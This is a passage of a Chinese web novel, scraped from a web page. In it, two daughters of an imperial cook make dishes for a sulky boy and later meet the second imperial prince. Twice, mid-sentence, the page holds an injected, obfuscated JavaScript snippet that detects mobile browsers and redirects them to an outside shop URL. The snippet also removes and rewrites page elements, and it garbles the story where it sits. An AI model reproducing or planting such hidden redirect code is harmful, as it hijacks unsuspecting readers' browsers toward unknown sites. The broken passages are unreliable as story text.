苏火阳语气里满是不乐意：“方才那人是光禄寺卿孙运浩。孙运浩人倒不坏，但总溺爱家中孩子。说是幼时缺了陪伴，长大后便全然惯着。我就不愿意和那孩子打照面，甚没礼貌。” “你们方才是听到了？十多岁的人哪有咽不下的粥，更不会是厨子的问题，要么是在闹脾气，要么便是真不饿。但人亲自跑这一趟，我又不好驳了面子。算了算了，晚些时候去看两眼吧。” 见苏火阳是这般态度，苏诣主动请缨道：“既然娘不愿意，那我去一趟？” 苏火阳眼前一亮。是了，还未到进御膳房的时候便能与光禄寺卿打交道，这对苏诣来说是好事。 她便说：“这样也好，毕竟孙大人平日里也总和御膳房打交道。那便辛苦你跑着一趟了。” “明明是该谢谢母亲给了次历练机会。”苏诣作揖道。 苏有青也接话：“那我陪姐姐一起。” 她这几日本就清闲，苏火阳乐意让她同苏诣去这一趟。 苏有青倒没想多的，只是有些好奇孙大人都寻了什么稀罕菜。 去旁人家中宜早不宜迟，苏诣即刻便支荔枝去套马。 上了车，苏有青凑到苏诣身边问道：“所以光禄寺卿平日里是做什么的？为何说是常与御膳房打交道？” 苏诣比划着手指讲与她听：“光禄寺卿主要就管两样事，宫中膳食与祭祀宴享。能进宫的食材，祭祀用的牲畜，这些都是。” 苏有青明白了，便是人吃的东西与魂吃的东西。 她又问：“那光禄寺卿的官很大吗？” 苏诣道：“从三品，自不是小官。” 苏有青问：“那娘是几品？” 苏诣怀疑娘已经回答过好几次这个问题了，其中至少有两次她也恰好在场： “御厨不分品阶。但全看陛下赏识的位置，更不好轻瞧了去。” 11. 菱角菜（二） 两人作伴出门，有人一同闲聊便觉不出时间的长短。不多久，马车在光禄寺卿府前停下。 苏诣在前面与门口的仆从说话，苏有青跟在后面下车。她抬眼看向门头与那一对抱鼓石，似乎与旁的高门大户也没多大差别。 仆从听闻是苏府派来的人，直接领着二位往里走，还说主子早已吩咐过，苏府若是来人则不必通报。 “主君，苏御厨派了人来。”仆从带着苏诣与苏有青去了膳房的院子。这几日里，孙运浩只在府中两处扎根，一是孙家小哥的卧房，还有一处便是这膳房。 孙运浩前脚方回府，未曾想苏火阳动作这么快。他满脸笑意地循声寻人，瞧清来人后却愣住了：“你们是......？” 苏诣作揖道：“我是苏御厨家长女苏诣，这是小妹苏有青。母亲一时忙得抽不开身，又怕孙大人这边等得着急，便遣我与小妹过来先看两眼。母亲已告知我们令郎的病症，不知令郎素日里爱吃些什么？” 孙运浩本不满苏火阳只让两个女儿过来敷衍他，听着苏诣说话周到，便也作罢。他叹了口气道：“他爱吃的都是现下吃不了的，应着做也没用。你们且看做什么合适吧。” “好，那我们先去厨下看看。”苏诣道。 苏有青没多作声，默默跟着苏诣进了厨下。 她微微垂头，余光瞟见有不少人靠在门边闲聊。孙大人当真求来了不少厨司。 见孙运浩又带了两人进来，有人悄声问身旁人：“那二位又是哪个酒楼的厨司？” 有知情人道：“可不是酒楼厨司，是苏火阳家的俩丫头，我前段时日见过。今年的新厨小试里，她俩成绩都不错呢。” 那人笑说道：“苏家的大小姐我听说过，城中厨司都知道她厉害。但不是说小的那个从不碰锅灶吗，不知这句‘不错’有几分客套？” 另一人答：“并非客套。大小姐是头筹不假，那二小姐也是第三。” 那人状似恍然大悟：“那便是苏火阳的不厚道了，这等比试也敢提前支会旁人。” 苏诣没听到这番对话，规规矩矩地同各位前辈行礼。 苏有青素来耳朵灵，却也装作没听到，轻轻点头便当是打过招呼了。 孙运浩同苏诣说道：“膳房里的东西都随便用。” 苏诣应下后，他便去同旁人讲话了。 苏有青仍在耳听八方。灶台边，有厨司无可奈何道：“依我看，那孩子压根就是挑刺。怎会有人不觉茱萸味辛，却觉青菜剌口？” 苏有青还想听听其余人的回话，却被苏诣拉去了旁处。 “来这边看看。”她拉着苏有青去了案台的菜堆前。 苏诣低声道：“我方才听见有厨司说这边有她们不认识的菜杆，莫非就是这个？说是只有混着绿色和紫色的茎，没有叶片，模样像是细菜根。” 苏诣话说一半，又被菜杆旁的藕肠吸走了视线：“你觉得炒个藕肠如何？” 在外还是需安分些，苏有青道：“应该不错。” 若是在自家府中，她就该说“吃肠补肠”了。 苏诣本就想正经料理这事，便认真与苏有青讨论道：“是炒软和点为好还是脆爽些？可以多烹些醋，酸味或能开胃，只是不知那孙家小哥是否爱吃酸味。” 论起做菜，苏有青不管小哥喜好，只看好吃与否：“要我说，这藕肠制成酸辣些的泡菜最佳，只是要泡久些才更有味。” 苏诣明白了，苏有青就是来凑热闹的：“肠胃本就不适，如何能吃生冷之物？” 苏有青反倒被说得生了思路。她拎起一旁小小的藕头，轻轻上抛，掂了掂分量。 只一小节嫩藕，掂着有些重量，应当是节水分充足的脆藕。 “这种嫩藕，只是简单炒熟反倒有些亏。”苏有青同苏诣说。 苏诣不解：“这瞧着也不是粉藕，不炒熟还能炖汤不成？” 苏有青道：“将这嫩藕切作薄片，再用碎糖拌了，渍上一个时辰是最好吃的。再过些时日到盛夏，吃这糖藕片还能清凉些呢。” 苏诣觉着新鲜：“还是头一回听闻这种吃法。” 苏有青应得迫不及待：“回去便做与你尝尝。” 苏有青本不欲做些什么，进了厨下后却又改了主意。冷食确实不妥当，她便将藕节放回了原处。 苏诣作势要换处地方，同苏有青说道：“你继续看吧，我先去瞧瞧旁的菜。” 见苏诣已走远几步，苏有青抓起一旁“好多厨司都不识得”的菜杆。 她翻过手掌，将那“菜杆”摊开后细看，又用另只手捻起了一根。 再凑近闻闻气味，苏有青心中已了然。她暗想道，这孙大人派去的人也着实是下了些功夫。 方是初夏的光景，虽说白日里已偶有小热，却也还没到芒种时候，更不是菱角收获的时候。做事的人能摘来的这些菱角菜，怕是见着浮叶就一股脑打捞，也不知剩余的菱角还能否长成。 苏有青以前便爱吃这菱角菜，可惜不易买到。需得种菱角的人家摘过了菱角，再将剩余还嫩的细长根茎捞出来。 捞出是一码事，还得那水田人家舍得卖才行。各家都不够吃的好菜，她与常打交道的摊贩混熟了，每年夏天也买不走多少。 菱角菜的时节与收成皆挑剔，想吃进嘴里也非易事。将这菜买回家后，需择下叶片与老根，只留下嫩些的部位，还需细瞧着洗掉黏附的淤泥与旁的水草，这才轮到料理的部分。 虽说过程略显繁杂，但苏有青还是爱吃。苦夏没甚胃口时，将这菱角菜切碎，放些蒜瓣与红椒炒得喷香，会是极好的下饭菜。 旁人不认识这种菜便也不伸手，刚好苏有青对着旁的菜也生不出想法，干脆拿上去找锅灶。 不论那挑嘴小哥吃不吃，至少显得她会翻勺。若是有用则更好，孙大人也不必再去烦苏火阳。 孙家膳房的下人做事得当，已提前择洗过这些菱角菜，省了苏有青不少事。 正等着锅中水沸，苏有青趁这功夫又舀来一盆凉水，就放在锅边。 锅中渐起了小气泡，未及水面便消失。待到气泡渐大生出水汽，苏有青往锅里加了点油与盐，将菱角菜倒进锅中。片刻后，她夹起去了涩味的菜，放入一旁的冷水里。 这边的菱角菜暂且休息，苏有青转头切了杆蒜苗、拍碎几粒蒜子备用着。 待菜冷却，她团起一把缠绕的杆茎，用力攒压，将水挤尽，才将那团变为褐色的菜茎搁到案板上。 再将菱角菜细细切碎，便能起锅烧油了。 苏有青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278936|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往锅中倒入菜籽油，等到生油气味散去，再趁油热爆香蒜末。 灶前满是被激起的香味，她将菱角菜碎与蒜杆一同倒进锅中，几下翻炒后再照着分量加些盐与酱之类的常见调味。 只需普通的炒制，再将剩余的蒜叶加进菜里炒至断生，这盘下饭菱角菜便能出锅了。 苏诣要做的炒藕肠也已装盘。她正想瞧瞧苏有青在做什么，便恰好被香气引着走过来了。 “这是何菜？我仿佛没见过，不过闻着倒香。”苏诣道。 苏有青却说：“就是你方才瞧见的那堆‘菜杆’。” 苏诣满是讶异：“你怎么晓得这菜是如何做的？” 苏有青笑说道：“我也不知道，算是连蒙带猜做成的吧。方才我闻那菜杆似乎有股香气，掐了把又觉得挺嫩，想来这样炒熟会更香。” 苏诣一脸赞同：“闻着可香呢，我那边还有人在找是什么味道。” 苏诣唤来仆从，让人将这两盘菜端去给孙家小哥尝尝。 然而片刻功夫，孙大人还是愁容满面地回了厨下。 “唉，还是不吃。”孙运浩直摇头。 一抬头，他瞧见苏家姐妹俩就在边上，赶忙找补到：“不过二位确实厨艺精湛！那小子方才只是不愿多吃，却也没让人撤走。” 苏有青觉得奇怪：“可以问问令郎不满于何味吗？他可以直接告知厨司喜好何味。” 犹豫过后，孙运浩道：“也罢。好在他今日精神好了不少，若像前些时日的病重，可没那心力见客。” 话毕，他又道：“请随我来。” 苏有青与苏诣跟在孙运浩身后，还没进门便远远听到了喊叫声，似是在斥责旁人。 然而真进了屋，苏有青只看到一个大物斯斯文文地靠在床边，并无言语。旁别的小厮也安静地低着头。 她腹诽道，这孙家的桌子竟会说话。 孙运浩对着爱子一阵嘘寒问暖，过后才介绍道：“这两位是我特意从苏家请来的厨司。她们想问你平日口味有何偏好，这才好做出些你乐意吃的菜。” 孙家小哥这时候说话倒有些含糊不清：“我又不挑剔，无非爱吃些好吃的与有味的。” 他又努努嘴，指向桌上那两盘：“这俩都没味，闻着还想吐。” 苏有青本意真有些好奇，现下是懒得问了。 矮了一截的菜，边说边吸气的鼻子，那小哥嘴里尽是些装蒜话。 她贴心地说道：“既如此，快把这两盘菜撤了吧，万一闻得更不适可如何是好？” 孙运浩被提醒到，手连连比划：“对对，赶紧的，还愣着干嘛呀！” “就这么放着！”小哥见仆从伸手，嚷了起来，精神头倒不似病者，“我这病是喜静不喜人多，你们都快走才是！” 苏诣与苏有青对视一眼后道：“那我们边先行离开了。” 苏有青本就在憋笑，不想一脚刚迈过门槛，便听到身后一句“哎呀宝贝，你终于愿意吃了。对对，就这样大口喝粥吃菜。” 出了屋，苏有青悄声说：“原来赶我们走是憋不住饿了吗？” 苏诣笑说道：“又或许是咱们手艺好呢。” 苏有青并不信旁的厨司便是技艺不足：“也或许骂一顿比寻厨司更管用呢。” 12. 没吃上 苏有青与苏诣尚在院中说着话，又见孙运浩和仆人急匆匆地往外赶，说是要再端碗粥来。 趁他路过，苏诣面带微笑道：“既令郎之症已解，我们也不叨扰了。” 孙运浩没听清苏诣的话，只匆匆应下。 待再来院中时，孙运浩身后的仆从端着三碗白粥与八盘小菜，而他仍觉不够地四处寻着苏家姐妹的身影。 “她俩人呢？”孙运浩问留在院中的人，“这么点菜万一小哥不够吃可怎么办？” 院中仆从慌乱道：“方才她们同主子告过别了呀。” 苏有青早就受不了这家子人与这家的客。孙运浩前脚风风火火地奔向膳房，她后脚便拽着苏诣出大门又上马车。 “快走吧，我急着回家给姐姐做糖藕片呢。”她道。 孙运浩赶忙使唤仆从去追。仆从跑出府门，却恰巧有辆华贵马车路过。不知是哪路贵人出行，并驾的四匹马逼得周遭过路人不得不退让。 仆从生怕冲撞了贵人，赶忙低头避开视线。待到尘土落回地面，苏家马车早已不知去向。 光禄寺卿府前的街市一向往来人多，再好的马匹在这路上也得放缓脚步。 “方才那车怎么跑得这么快，惊到旁人可不好。”马车里，方实拨开窗帘，探头往后看去。 正中端坐着的大皇子却不接话：“岔开话题也没用。你好好想想吧。” 方实放下帘子，也放下了视线：“这次确实是方非的错，臣会好好训斥他的。” 她一开始想辩解，方非本性不坏，只是急于在大皇子面前图表现，这才不择手段了些。 但方实也明白，大皇子一向不认可背后阴人的招数。赵鸣昀过往感慨过很多次，今日能为投诚她而害旁人，明日便也能为旁人而阴她。 方实一口气憋在胸肺中，当着赵鸣昀的面却吐不出来。 她本知弟弟处事浮躁，只是家中只余这么一个至亲，便总想捎带着些。不料这次方非直接先斩后奏，还自认上奏的是喜报。 或许她早该有所察觉，早在方非头一次同她抱怨时便做出决断。 方非一向觉得大皇子太过柔和，必定是斗不过二皇子的。他并不理解姐姐为何要支持这般性子的人，让他不得不顺着站队。 而方实也明明白白地同他解释过，她本就是因着这股和煦才选定了大皇子。正是盛世，这种追求一团和气的皇子能让大家都好过。能做到珍爱手足的皇家子，想来握住权力后也能珍爱百姓。 那时候，方非应了一声，她便以为弟弟将这话听进去了。 车厢内一时只余车轮的“咯吱”声。 闭上双眼，方实将那股气咽下，才再次睁眼说话：“不知二皇子作何反应？前几日听闻她与三皇子对谈时沉了脸，莫非便是此事......” 赵鸣昀昨日才听赵鸣炫说过此事，哼了一声道：“那倒与你弟弟无关，只是被她弟弟吵烦了。不知老三抽了哪门子风，偏要磨着二妹多收个人。” 同车人是心腹，也没什么不能说的话。赵鸣昀喃喃道：“不过那人确实挺......符合母皇的心思。” 是夜，赵往也还在纠结此事。 夜已深，书案上的烛台也快燃尽。石头对着那星点黄色昏昏欲睡，不知主子还要看书看到哪个时辰。 全然不知他那主子的心思根本不在书册上。 赵往一手提笔，却又突然忘了本想写些什么。有一滴墨落到纸上晕开，他干脆将笔搁回笔架，转过头来与石头聊天： “你说二皇姐为何不答应呢？” 石头虽在瞌睡，倒也留了一丝清明替他当值：“嗯嗯，就是就是。” 半睡半醒间，他隐约觉得这话有些耳熟，似是近来听了很多遍。 赵往得到回应，继续讲道理：“那人确是有些实力。听说没，今日京城里都传遍了。孙老儿家的那个挑刺孩子，寻了多少名厨都无用，最后不还是被苏家姑娘收服了。” 石头继续回应：“是呢是呢。苏姑娘自是厉害，不然能是头筹呢。” 赵往眉头紧锁，发现石头和自己说的并非一回事，又道：“说什么呢，若是头筹，我又何须去求皇姐？” 石头：“嗯嗯......嗯？” 他睡醒了。 但他不知道自己落下了什么，怎么只打个瞌睡的功夫，主子便说上苏二姑娘的好话了。 然而二皇子并非不乐意结识苏有青，只是不想惹眼，便也不好一下子接触两个苏家人。 苏二姑娘倒是完完全全的不乐意。 苏有青这几日里过得相当舒畅。 还有两日便是苏诣的生辰，便也马上是苏有青能出城的时候了。 这些天，她时常去街市上转转，看有没有什么需买来备着的东西，再提前捡些将带上的细软，好不高兴。 不知是不是人的心情好了的缘故，近来的时日里她做何事都顺得很。前些天，苏有青还去挑了匹马。 她本特意提早几天去看，以防学习骑马需多费些功夫。然而苏有青选的那匹马性子温顺又亲人，仿佛还能听懂话。 毫不颠人的马儿，倒显得是她本就擅长骑马。 苏有青顺着它的鬃毛，侧身凑近道：“那你便来陪我一起吧。” 除去这些出远门要做的准备，在家中时，苏有青也常跑去后厨看菜。 为着苏诣的生辰宴，厨下提前列出了不短的单子，这几日正是试菜的时候。然而苏诣赶上了初进宫的日子，整日里跟着御膳房的前辈学习，忙得找不出亲自品菜的时间。 于是这活便落到了苏有青头上。 她在家中替苏诣试菜，不想苏诣也在宫中帮她回绝了一桩事。 跟着前辈学了三五日御膳房的规矩，苏诣与颜惜禾便要像寻常宫人那般独自做事了。 不过膳房掌事似乎也不指望这二人久留。这些天里，膳房若有什么要去御前送茶水的事，掌事会特意分派给她俩。 生辰这日，苏诣送过今日的燕窝便要回御膳房。 她已熟悉这隔日便要走一趟的宫街，今日却走得心急。 “苏诣姑娘？” 苏诣顺着声音方向回头，瞧见方才路过的宫门中走出一人。 她赶忙躬身行礼，恭敬道：“见过二皇子。” “免礼。”二皇子款步走来，问道，“不知宫中做事可还适应？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278937|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>苏诣起了身，却仍低着头：“适应。” 二皇子微侧过头，看眼苏诣过来的方向便心中有了数：“方从御书房出来？母皇今日问了什么？” 苏诣答：“陛下勤政，好问民间的事。” 瞧出苏诣仍余紧张，二皇子道：“习惯便好。母皇一向觉得不同处境中的人会看出不同的问题，便爱顺嘴过问旁人的想法。尤其是你们这种尚年轻，也方进宫的。” 许是之前便说过话，面对二皇子，苏诣渐缓了心神。 她道：“可臣女只是厨司，并无太多见解。” 二皇子心说不见得，张嘴却顺过了话：“那便能说出厨司看到的民间。” 苏诣有些好奇：“为何是厨司？旁的宫女太监呢？” 二皇子很有耐心：“自也有她们的看法，只是问得不多。毕竟过得好些的人家并不舍得只让孩子做侍候人的活计，不比御膳房的新人。能从新厨小试中脱颖而出的，都是从小便能练手、家中也不怕孩童糟蹋了菜的厨司。这样出来的人，自然见过的也多。” 苏诣没懂，抬头便问：“既如此，那差些的人家岂不是能见到更多......” 见到二皇子的表情，苏诣咽下了尾音。 二皇子并未打断她，只是下意识扬了扬眉，又轻笑了一声。 赵鸣炫早就听闻过苏诣此人。 京城中一向传闻，御厨苏家的手艺世代相传。这一代里，苏火阳的长女苏诣不仅得了一手好厨艺，品行也极佳。 新厨小试那日，母皇本是同大宫女说“去库里随便挑个小东西送去吧”，她却称闲来无事，替宫女跑了一趟。她本想去早些，不想临出宫时又被赵往喊住，耽搁了时间。幸好没错过苏诣介绍时的落落大方。 再加上今日临街的对谈，赵鸣炫已确信，自己并未看错人。 苏诣却会错了意。自认说错了话，苏诣匆忙间胡乱攀扯道：“朝臣们比臣女想得更周全。” 二皇子以为苏诣是在追问，回答道：“朝臣当然需多问，只是母皇信不信、又信了几分便无人知晓了。母皇总觉得朝臣的话中会掺杂不少谗言。” 苏诣不敢再妄议，道：“陛下圣明。” 二皇子不乐意听官腔：“只是与你闲聊罢了，不必如此生硬。我觉得你很聪慧。” 苏诣道：“谢二皇子抬爱。是家母教诲得好，一贯激励臣女多读书。” 想显得亲切些，二皇子揣度着尺寸问道：“不知苏姑娘表字？” 苏诣答：“臣女字有道。” 赵鸣昀点点头：“不错。” 她更满意了。 姬朝寻常人家中，小姐小哥们的表字都是自己所起，或有鸿鹄之志，或为平淡安乐，又或是旁的所求之物。“有道”，一听便是前者。 今日高兴，二皇子便有了闲心。 她状似方想起这事：“说来近来有人向我举荐你的妹妹。不知她是否与你旗鼓相当？” 苏诣一时不知该如何作答，也没能分出心思抿出二皇子后半句的深意。 她能瞧出，苏有青这几日里光是收拾细软都很高兴。或许有青的性子本不适合宫中处事，但她也不好直接越俎代庖。